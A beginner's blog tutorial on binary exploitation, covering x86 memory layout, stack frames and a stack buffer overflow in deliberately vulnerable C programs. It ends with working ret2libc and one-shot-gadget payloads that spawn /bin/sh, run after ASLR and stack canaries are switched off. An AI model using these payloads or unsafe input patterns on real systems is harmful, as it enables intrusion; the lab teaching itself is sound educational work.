Introduction to stack overflow

17. août 2017 Tutorials 0

This post is an introduction to the world of binary exploitation, based on stack overflow,for beginners.
I will try to explain how a binary is linked in memory, how the stack works and how we can take advantage of programming errors.
I assume that readers have basic knowledge of C and x86 assembly language (32 bits).

The tools used in this post are:

  • gcc
  • gdb
  • peda

 


The memory

Let’s have a look at the memory layout when a C program is running.

Text : This section stores the executable code of a binary. This section is readable only.

Data segment (DS) : This section stores the initialized variables (All of the global and static variables that are initialized by the programmer).

Bss segment (BSS) : Opposite to the data segment, all of the global and static variables that are not initialized by the programmer.

Heap : This section is allocated dynamically. Every time the programmer uses « malloc », the memory is allocated from the heap. Notice that even if the programmers does’t use « malloc », some of the C functions (like printf) call it.

Stack : It’s where all the functions parameters are stored, as well as return addresses and the local variables of the functions.

cmd-lines and env-var : It stores the command line arguments and the environment variables. All of these are stored at the very last of the stack.

There are more sections than the ones presented here, but I wanted to be as simple as possible.

Let’s make a simple program to illustrate this :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int bss1; 					/* Bss Segment */
int ds1 = 10;					/* stored in Data Segment */

int main(int argc, char *argv[]) {

	static int bss2; 			/* Bss Segment */
	static int ds2 = 100; 		        /* Data Segment */
	int stack = 200;			        /* stack var */
	char *heap = malloc(10);	                /* heap var */

	return 0;
}

Compile with:

gcc -m32 -ggdb -o exemple1 exemple1.c

Now, let’s open the binary through gdb, place a breakpoint on « leave » in main, and run the binary.

$ gdb -q ./exemple1
Reading symbols from ./exemple1...done.
gdb-peda$ disas main
...
   0x0804843b <+48>:	leave
...
gdb-peda$ b *0x0804843b
Breakpoint 1 at 0x804843b: file exemple1.c, line 16.
gdb-peda$ run
...

Let’s find our sections :

gdb-peda$ maintenance info sections
Exec file:
    '/home/blackndoor/exemple1', file type elf32-i386.
 [0]     0x8048154->0x8048167 at 0x00000154: .interp ALLOC LOAD READONLY DATA HAS_CONTENTS
 [1]     0x8048168->0x8048188 at 0x00000168: .note.ABI-tag ALLOC LOAD READONLY DATA HAS_CONTENTS
 [2]     0x8048188->0x80481ac at 0x00000188: .note.gnu.build-id ALLOC LOAD READONLY DATA HAS_CONTENTS
 [3]     0x80481ac->0x80481cc at 0x000001ac: .gnu.hash ALLOC LOAD READONLY DATA HAS_CONTENTS
 [4]     0x80481cc->0x804821c at 0x000001cc: .dynsym ALLOC LOAD READONLY DATA HAS_CONTENTS
 [5]     0x804821c->0x8048268 at 0x0000021c: .dynstr ALLOC LOAD READONLY DATA HAS_CONTENTS
 [6]     0x8048268->0x8048272 at 0x00000268: .gnu.version ALLOC LOAD READONLY DATA HAS_CONTENTS
 [7]     0x8048274->0x8048294 at 0x00000274: .gnu.version_r ALLOC LOAD READONLY DATA HAS_CONTENTS
 [8]     0x8048294->0x804829c at 0x00000294: .rel.dyn ALLOC LOAD READONLY DATA HAS_CONTENTS
 [9]     0x804829c->0x80482ac at 0x0000029c: .rel.plt ALLOC LOAD READONLY DATA HAS_CONTENTS
 [10]     0x80482ac->0x80482cf at 0x000002ac: .init ALLOC LOAD READONLY CODE HAS_CONTENTS
 [11]     0x80482d0->0x8048300 at 0x000002d0: .plt ALLOC LOAD READONLY CODE HAS_CONTENTS
 [12]     0x8048300->0x8048308 at 0x00000300: .plt.got ALLOC LOAD READONLY CODE HAS_CONTENTS
 [13]     0x8048310->0x80484a2 at 0x00000310: .text ALLOC LOAD READONLY CODE HAS_CONTENTS
 [14]     0x80484a4->0x80484b8 at 0x000004a4: .fini ALLOC LOAD READONLY CODE HAS_CONTENTS
 [15]     0x80484b8->0x80484c0 at 0x000004b8: .rodata ALLOC LOAD READONLY DATA HAS_CONTENTS
 [16]     0x80484c0->0x80484ec at 0x000004c0: .eh_frame_hdr ALLOC LOAD READONLY DATA HAS_CONTENTS
 [17]     0x80484ec->0x80485b8 at 0x000004ec: .eh_frame ALLOC LOAD READONLY DATA HAS_CONTENTS
 [18]     0x8049f08->0x8049f0c at 0x00000f08: .init_array ALLOC LOAD DATA HAS_CONTENTS
 [19]     0x8049f0c->0x8049f10 at 0x00000f0c: .fini_array ALLOC LOAD DATA HAS_CONTENTS
 [20]     0x8049f10->0x8049f14 at 0x00000f10: .jcr ALLOC LOAD DATA HAS_CONTENTS
 [21]     0x8049f14->0x8049ffc at 0x00000f14: .dynamic ALLOC LOAD DATA HAS_CONTENTS
 [22]     0x8049ffc->0x804a000 at 0x00000ffc: .got ALLOC LOAD DATA HAS_CONTENTS
 [23]     0x804a000->0x804a014 at 0x00001000: .got.plt ALLOC LOAD DATA HAS_CONTENTS
 [24]     0x804a014->0x804a024 at 0x00001014: .data ALLOC LOAD DATA HAS_CONTENTS
 [25]     0x804a024->0x804a030 at 0x00001024: .bss ALLOC
 [26]     0x0000->0x0034 at 0x00001024: .comment READONLY HAS_CONTENTS
 [27]     0x0000->0x0020 at 0x00001058: .debug_aranges READONLY HAS_CONTENTS
 [28]     0x0000->0x011c at 0x00001078: .debug_info READONLY HAS_CONTENTS
 [29]     0x0000->0x009e at 0x00001194: .debug_abbrev READONLY HAS_CONTENTS
 [30]     0x0000->0x003d at 0x00001232: .debug_line READONLY HAS_CONTENTS
 [31]     0x0000->0x0115 at 0x0000126f: .debug_str READONLY HAS_CONTENTS

gdb-peda$ info proc mappings
process 10664
Mapped address spaces:

	Start Addr   End Addr       Size     Offset objfile
	 0x8048000  0x8049000     0x1000        0x0 /home/blackndoor/exemple1
	 0x8049000  0x804a000     0x1000        0x0 /home/blackndoor/exemple1
	 0x804a000  0x804b000     0x1000     0x1000 /home/blackndoor/exemple1
	 0x804b000  0x806c000    0x21000        0x0 [heap]
	0xf7dea000 0xf7f9a000   0x1b0000        0x0 /lib/i386-linux-gnu/libc-2.23.so
	0xf7f9a000 0xf7f9c000     0x2000   0x1af000 /lib/i386-linux-gnu/libc-2.23.so
	0xf7f9c000 0xf7f9d000     0x1000   0x1b1000 /lib/i386-linux-gnu/libc-2.23.so
	0xf7f9d000 0xf7fa0000     0x3000        0x0 
	0xf7fd4000 0xf7fd6000     0x2000        0x0 
	0xf7fd6000 0xf7fd8000     0x2000        0x0 [vvar]
	0xf7fd8000 0xf7fd9000     0x1000        0x0 [vdso]
	0xf7fd9000 0xf7ffb000    0x22000        0x0 /lib/i386-linux-gnu/ld-2.23.so
	0xf7ffb000 0xf7ffc000     0x1000        0x0 
	0xf7ffc000 0xf7ffd000     0x1000    0x22000 /lib/i386-linux-gnu/ld-2.23.so
	0xf7ffd000 0xf7ffe000     0x1000    0x23000 /lib/i386-linux-gnu/ld-2.23.so
	0xffedd000 0xffffe000   0x121000        0x0 [stack]

As you can see, there is more than the sections we talked about earlier. For exemple the libc which is mapped at address 0xf7dea000. This is something that is important to find in an exploitation. For instance, leak an address that, minused by an offset, can give the libc address base. I will not go deeper here because that could be a post on its own.

Focus on what we want :

 [13]     0x8048310->0x80484a2 at 0x00000310: .text ALLOC LOAD READONLY CODE HAS_CONTENTS
 [24]     0x804a014->0x804a024 at 0x00001014: .data ALLOC LOAD DATA HAS_CONTENTS
 [25]     0x804a024->0x804a030 at 0x00001024: .bss ALLOC

	 	  0x804b000  0x806c000    0x21000        0x0 [heap]
		  0xffedd000 0xffffe000   0x121000       0x0 [stack]

I defined variables in the code, some of them should be on DS, BSS, heap or stack. Let’s check the addresses of those variables:

gdb-peda$ p &bss1
$1 = (int *) 0x804a02c <bss1>		/* 0x0804a024->0x0804a030 : .bss */
gdb-peda$ p &bss2
$2 = (int *) 0x804a028 <bss2>		/* 0x0804a024->0x0804a030 : .bss */
gdb-peda$ p &ds1
$3 = (int *) 0x804a01c <ds1>		/* 0x0804a014->0x0804a024 : .data */
gdb-peda$ p &ds2
$4 = (int *) 0x804a020 <ds2>		/* 0x0804a014->0x0804a024 : .data */
gdb-peda$ p &stack
$5 = (int *) 0xffffce88			/* 0xffedd000->0xffffe000 : stack*/
gdb-peda$ p heap
$7 = 0x804b008 ""			/* 0x0804b000->0x0806c000 : heap */

Now, you should have a better understanding on the memory layout of a binary.

 


Stack frame

A stack frame represent a function call and its arguments data. If the function requires arguments (void func(int a)…), they get pushed onto the stack before the call. Then, the return address is pushed onto the stack, then the arguments and space for the function variables. Together, they are the « frame ».

A stack frame is delimited by it’s own ESP (stack pointer register) and EBP (Base pointer register).

 

ESP : It stores the address of the top of the stack and refers to the last element that has been pushed on it.

EBP : This register is usually set to ESP at the start of a function. It’s for keeping tab on function parameters and local variables.

EIP : it’s the instruction pointer register. It’s the next instruction to execute and it increases after every instruction executions. (depending on the size of the instruction)

 

Again, let’s make a simple program to illustrate this:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void test2() {
	char *str2 = malloc(50);

	strncpy(str2, "[i] I'm in the test2 function. I've got 1 variable",50);

	printf("%s\n",str2);
}
void test1(unsigned int a, unsigned int b) {
	char str1[14] = "I'm a string.";

	printf("[i] I'm in the test1 function. I've got 1 local variable [%s]\n", str1);
	printf("    I can receive 2 variables [%u,%u]\n",a,b);
}
int main(int argc, char *argv[]) {
	unsigned int var1 = 0xdeadbeef;
	unsigned int var2 = 0xdeadbabe;

	test1(var1,var2);
	test2();

	printf("[i] I'm in the main function. I've got 2 variables [%u,%u]\n", var1,var2);

	return 0;
}

Compile the program, open it through gdb and disassemble the main function:

$ gcc -m32 -o exemple2 exemple2.c
$ gdb -q ./exemple2
Reading symbols from ./exemple2...(no debugging symbols found)...done.
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x080485b8 <+0>:	lea    ecx,[esp+0x4]
   0x080485bc <+4>:	and    esp,0xfffffff0
   0x080485bf <+7>:	push   DWORD PTR [ecx-0x4]
   0x080485c2 <+10>:	push   ebp
   0x080485c3 <+11>:	mov    ebp,esp
   0x080485c5 <+13>:	push   ecx
   0x080485c6 <+14>:	sub    esp,0x14
   0x080485c9 <+17>:	mov    DWORD PTR [ebp-0x10],0xdeadbeef
   0x080485d0 <+24>:	mov    DWORD PTR [ebp-0xc],0xdeadbabe
   0x080485d7 <+31>:	sub    esp,0x8
   0x080485da <+34>:	push   DWORD PTR [ebp-0xc]
   0x080485dd <+37>:	push   DWORD PTR [ebp-0x10]
   0x080485e0 <+40>:	call   0x804854e <test1>
   0x080485e5 <+45>:	add    esp,0x10
   0x080485e8 <+48>:	call   0x80484cb <test2>
   0x080485ed <+53>:	sub    esp,0x4
   0x080485f0 <+56>:	push   DWORD PTR [ebp-0xc]
   0x080485f3 <+59>:	push   DWORD PTR [ebp-0x10]
   0x080485f6 <+62>:	push   0x80486f8
   0x080485fb <+67>:	call   0x8048370 <printf@plt>
   0x08048600 <+72>:	add    esp,0x10
   0x08048603 <+75>:	mov    eax,0x0
   0x08048608 <+80>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x0804860b <+83>:	leave  
   0x0804860c <+84>:	lea    esp,[ecx-0x4]
   0x0804860f <+87>:	ret    
End of assembler dump.

Let’s focus on this part :

   0x080485c9 <+17>:	mov    DWORD PTR [ebp-0x10],0xdeadbeef
   0x080485d0 <+24>:	mov    DWORD PTR [ebp-0xc],0xdeadbabe
   0x080485d7 <+31>:	sub    esp,0x8
   0x080485da <+34>:	push   DWORD PTR [ebp-0xc]
   0x080485dd <+37>:	push   DWORD PTR [ebp-0x10]
   0x080485e0 <+40>:	call   0x804854e <test1>

We can simplify this as following:

   0x080485da <+34>:	push   DWORD 0xdeadbabe
   0x080485dd <+37>:	push   DWORD 0xdeadbeef
   0x080485e0 <+40>:	call   0x804854e <test1>

The function test1 requires two arguments: a then b, but if you look at the disassemble code, it pushes the second value (b) first, then the first one (a). This is because the stack works : Last In First Out » (LIFO).

Let’s place a breakpoint on the test1 call, and run the binary :

gdb-peda$ b *0x080485e0
Breakpoint 1 at 0x80485e0
gdb-peda$ r

The program pushed the arguments for test1 onto the stack and it’s ready to call test1.
Step in the program one time and look at the stack:

As expected, it pushed onto the stack the return addr. After that the function test1 does the following:

push ebp

it pushes the main stack frame ebp. Usually we call that saved_EBP.

mov ebp, esp

It moves the stack pointer to the base pointer.

sub esp, 0x28

ESP grows on the lower address by 0x28.

This process creates the stack frame for test1 function.


Variable on the stack

We now know the memory representation of a binary and how the stack works. Let’s create a simple vulnerable code to understand how the local variables of a function are stored on the stack.

#include <stdio.h>

int main(int argc, char *argv[]) {
	int var = 0x01020304;
	char str[11];

	printf("Give me something: ");
	scanf("%s", str);

	if(var==0x01020304)
		printf("Try again...\n");
	else
		printf("Ok, you've got it!!\n");

	return 0;
}

Compile with :

gcc -fno-stack-protector -ggdb -m32 -o vuln1 vuln1.c

The option « -fno-stack-protector » disables the canary protection. I will not explain here what this protection is, so if this is a mystery for you => google it.

 

First, the vulnerability here is the use of scanf.
With parameter « %s » and str, scanf waits for the user to enter a string and places the result in str. It does it without checking the len of the user input. The variable str is 10 bytes long (11 but the last one is kept for \0) but what happens if the user enter more than that :

$ ./vuln1
Give me something: AAAAAAAAAA
Try again...
$ ./vuln1
Give me something: AAAAAAAAAAAA
Ok, you've got it!!

We overwrite the value of the variable var. Wait but, this variable is declared before the str one. So why are we overwritten it? Let’s open the binary through gdb, place a breakpoint on main, run it, and check the location of the two variables :

$ gdb -q ./vuln1
Reading symbols from ./vuln1...done.
gdb-peda$ b main
Breakpoint 1 at 0x804849c: file vuln1.c, line 4.
gdb-peda$ r
Starting program: /home/blackndoor/vuln1
...
Breakpoint 1, main (argc=0x1, argv=0xffffcf54) at vuln1.c:4
warning: Source file is more recent than executable.
4		int var = 0x01020304;
gdb-peda$ p &var
$1 = (int *) 0xffffce9c
gdb-peda$ p &str
$2 = (char (*)[11]) 0xffffce91

var is declared first and its location is 0xffffce9c, then str is declared and its location is 0xffffce91.
The stack grows from higher memory to lower but it stores values on its address and grows to higher memory.
‘char str[11]’ makes place on the stack for 11 bytes, not less, not more.

 


Get the control

Finally, here comes something that we all want to get when we exploit a binary, EIP: 0x42424242 !
Let’s create a program with a vulnerability :

#include <stdio.h>

void vuln(void) {
	char value[11];

	printf("Give me something: ");

	fgets(value,50,stdin);
}

int main(int argc, char *argv[]) {

	vuln();

	return 0;
}

The main function calls vuln. It creates a char with size 10 and calls fgets to store the user entry into that variable.
fgets will wait for a maximum of 50 char from the user, but the variable str is of size 10 => overflow.

Compile with :

gcc -fno-stack-protector -m32 -o vuln2 vuln2.c

Before to go through the exploitation, let’s deactivate the ASLR to simplify the process. (again, it’s a protection that you may google if you don’t know what it is). The following command has to be done by root.

# echo 0 > /proc/sys/kernel/randomize_va_space

Ok now, Let’s play with it :

$ ./vuln2
Give me something: AAAAAAAAAA
$ ./vuln2
Give me something: AAAAAAAAAAAAAAAAAAAAAA
segmentation fault (core dumped)

By entering 22 characters, I had overwrited something. Let’s open the binary through gdb, place a breakpoint in the function vuln on the fgets call and run it:

fgets will store the result of the user input at the location : 0xffffce85
Let’s see the content of this location:

gdb-peda$ x/10wx 0xffffce85-1
0xffffce84:	0x00000000	0xf7e18a50	0x0804850b	0x00000001
0xffffce94:	0xffffcf54	0xffffcea8	0x080484b1	0xf7f9c3dc
0xffffcea4:	0xffffcec0	0x00000000

I subtracted 1 to the location for a correct alignment of the addresses printed. As we saw before, 22 characters crash the binary. fgets takes those 22 characters, but it also takes the new line \n (enter pressed) and it also adds a null character \0, which is the end of a string.

Here is how all of this will be stored, in order :

                  03 02 01        07 06 05 04     11 10 09 08     15 14 13 12
0xffffce84:	0x00 00 00 00	0xf7 e1 8a 50	0x08 04 85 0b	0x00 00 00 01
                  19 18 17 16     \n 22 21 20              \0
0xffffce94:	0xff ff cf 54	0xff ff ce a8	0x08 04 84 b1	0xf7 f9 c3 dc

With 21 characters, we don’t crash the binary, that means that the crash happens because we overwrite : 0x080484b1 with the \0 => 0x08048400

Remember the stack frame ? 0x080484b1 is the return address that has been pushed on the stack at the time of vuln’s call. Therefore, the address just before is the saved_EBP. (0xffffcea8)
The program doesn’t crash when we overwrite the saved_EBP in this program, but in other case, it could.

$ disas main
Dump of assembler code for function main:
...
   0x080484ac <+17>:	call   0x804846b <vuln>
   0x080484b1 <+22>:	mov    eax,0x0
...

5 more characters and we should overwrite the next EIP. Let’s place a breakpoint on the ret instruction in vuln and run the binary with 27 characters.

Perfect, the instruction ret stores the address pointed by ESP in EIP and then EIP tries to execute the instruction contained in that address. Let’s continue the execution.

We control EIP, so we control the execution flow !
There are a lot of possibilities here for the exploitation, but let’s talk about a cool one.

 


oneShot gadget

Before to get into the concept and goal of a oneShot gadget, let’s talk about what is a classical exploitation.

In our case we control EIP, so now our goal is to force the binary to execute instructions that were not intended to execute. The classical way would be to execute :

system(‘/bin/sh’)

To achieve that, we need the address of the function system and an address containing the string ‘/bin/sh’. Those two adresses can be found in the libc and as I deactivated the ASLR, they will be static.

 

Let’s find those addresses :

$ gdb -q ./vuln2
Reading symbols from ./vuln2...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x80484a9
gdb-peda$ r
Starting program: /home/blackndoor/vuln2
...
gdb-peda$ vmmap
Start      End        Perm	Name
0x08048000 0x08049000 r-xp	/home/blackndoor/vuln2
0x08049000 0x0804a000 r--p	/home/blackndoor/vuln2
0x0804a000 0x0804b000 rw-p	/home/blackndoor/vuln2
0xf7dea000 0xf7f9a000 r-xp	/lib/i386-linux-gnu/libc-2.23.so
...

$ readelf -a /lib/i386-linux-gnu/libc.so.6 | grep system@@GLIBC_2
  1457: 0003ada0    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0
$ strings -tx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
 15b9ab /bin/sh

We found the libc base : 0xf7dea000.
We found the system offset from the libc base : 0x3ada0

system address = libcBase + 0x3ada0

And we found the binsh offset from the libc base : 0x15b9ab

binsh = libcBase + 0x15b9ab

We need to construct our payload the same way than the binary would have done the execution flow.
To execute a function we saw that the stack looks as following:

[func_to_call] [return_addr] [argument for the function]

So our payload will look like:

[system_addr] [JUNK] [binsh_addr]

junk can be replaced by the address of exit, if you want to have a proper exploitation.

We have everything now, let’s construct our payload :

                       EIP
[23 * A][system_addr][junk][binsh_addr]

Let’s try :

$ python -c 'import struct; print "A"*23+struct.pack("<I",0xf7dea000+0x3ada0)+"BBBB"+struct.pack("<I",0xf7dea000+0x15b9ab)' | ./vuln2
segmentation fault (core dumped)

Oh.. not working !
This is classical. The payload is collected by the binary with a call to fgets. This function closes the stdin after its execution.

A cool trick to bypass it, is to reopen the stdin with the tool /bin/cat :

$ (python -c 'import struct; print "A"*23+struct.pack("<I",0xf7dea000+0x3ada0)+"BBBB"+struct.pack("<I",0xf7dea000+0x15b9ab)';cat) | ./vuln2
uname -a
Linux pc1 4.4.0-81-generic #104-Ubuntu SMP Wed Jun 14 08:17:06 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
whoami
blackndoor

Now, let’s talk about the cool way to exploit it, the oneShot gadget. In the previous exploit, we use more than one address to gain control on the binary. In some exploitations, you will need more than just 2 addresses (sometimes hundreds). The oneShot gadget is, as its name says, one address that gives you a shell. Cool right ?

 

This gadget is located in the libc so the following will be different for each OS and libc. I used for the test an Ubuntu 16.04 with a glibc version 2.23.

Let’s see one of these gadgets:

gdb-peda$ x/10i __strtold_nan+1241
   0xf7e24c69:	mov    eax,DWORD PTR [esi-0xb8]
   0xf7e24c6f:	add    esp,0xc
   0xf7e24c72:	mov    DWORD PTR [esi+0x1620],0x0
   0xf7e24c7c:	mov    DWORD PTR [esi+0x1624],0x0
   0xf7e24c86:	push   DWORD PTR [eax]
   0xf7e24c88:	lea    eax,[esp+0x2c]
   0xf7e24c8c:	push   eax
   0xf7e24c8d:	lea    eax,[esi-0x56655]
   0xf7e24c93:	push   eax
   0xf7e24c94:	call   0xf7e9a7e0 <execve>

If we want to use this gadget, there are two conditions :

  • ESI should point to the mapped libc rw-p
  • EBP+0x2c+0xc should be NULL

Let’s confirm. I open the binary through gdb, place a breakpoint at the end of the vuln function and run the binray :

$ gdb -q ./vuln2
Reading symbols from ./vuln2...(no debugging symbols found)...done.
gdb-peda$ disas vuln
Dump of assembler code for function vuln:
   0x0804846b <+0>:	push   ebp
   0x0804846c <+1>:	mov    ebp,esp
   0x0804846e <+3>:	sub    esp,0x18
   0x08048471 <+6>:	sub    esp,0xc
   0x08048474 <+9>:	push   0x8048540
   0x08048479 <+14>:	call   0x8048330 <printf@plt>
   0x0804847e <+19>:	add    esp,0x10
   0x08048481 <+22>:	mov    eax,ds:0x804a020
   0x08048486 <+27>:	sub    esp,0x4
   0x08048489 <+30>:	push   eax
   0x0804848a <+31>:	push   0x32
   0x0804848c <+33>:	lea    eax,[ebp-0x13]
   0x0804848f <+36>:	push   eax
   0x08048490 <+37>:	call   0x8048340 <fgets@plt>
   0x08048495 <+42>:	add    esp,0x10
   0x08048498 <+45>:	nop
   0x08048499 <+46>:	leave  
   0x0804849a <+47>:	ret    
End of assembler dump.
gdb-peda$ b *0x0804849a
Breakpoint 1 at 0x804849a
gdb-peda$ r
Starting program: /home/blackndoor/vuln2 
Give me something: AAAA

ESI : 0xf7f9c000, it points to the libc rw-p (vmmap to confirm)

Now let’s see, what the gadget does :

mov eax,DWORD PTR [esi-0xb8]

gdb-peda$ x/wx $esi-0xb8
0xf7f9bf48:	0xf7f9ddbc
gdb-peda$ x/wx 0xf7f9ddbc
0xf7f9ddbc <environ>:	0xffffcf5c
gdb-peda$ x/wx 0xffffcf5c
0xffffcf5c:	0xffffd13e
gdb-peda$ x/s 0xffffd13e
0xffffd13e:	"XDG_VTNR=7"

EAX points to 0xf7f9ddbc => <environ>

push DWORD PTR [eax]

The content of EAX (0xffffcf5c) is pushed onto the stack. This is a pointer to the environment’s variables.

lea eax,[esp+0x2c] ; esp has increase before by 0xc

gdb-peda$ x/wx $esp+0x2c+0xc
0xffffced4:	0x00000000

The address of esp+0x2c+0xc is placed in EAX. (0xffffced4 = NULL)

push eax

It pushes the NULL pointer onto the stack.

lea eax,[esi-0x56655]

gdb-peda$ x/wx $esi-0x56655
0xf7f459ab:	0x6e69622f
gdb-peda$ x/s $esi-0x56655
0xf7f459ab:	"/bin/sh"

The address of esi-0x56655 is placed in EAX. (0xf7f459ab = « /bin/sh »)

push eax

It pushes the address of « /bin/sh » onto the stack.

call 0xf7e9a7e0 <execve>

This should call : execve(« /bin/sh »,NULL, env)

 

To use that gadget, we need its offset from the libc base.
To do so :

gdb-peda$ p __strtold_nan+1241
$1 = (<text variable, no debug info> *) 0xf7e24c69
gdb-peda$ vmmap
...
Start      End        Perm	Name
0xf7dea000 0xf7f9a000 r-xp	/lib/i386-linux-gnu/libc-2.23.so
...
gdb-peda$ p /x 0xf7e24c69-0xf7dea000
$2 = 0x3ac69

The offeset is 0x3ac69
Let’s try that gadget :

$ (python -c 'import struct; print "A"*23+struct.pack("<I",0xf7dea000+0x3ac69)';cat) | ./vuln2
uname -a
Linux pc1001 4.4.0-81-generic #104-Ubuntu SMP Wed Jun 14 08:17:06 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
whoami
blackndoor

 

This introduction to stack overflow is now finished. I hope you enjoyed it and that you learned at least one thing. I don’t know yet what the content of my next post will be: stack overflow advanced, introduction to heap overflow or introduction to format string.
If you have any suggestion, feel free to send me an email.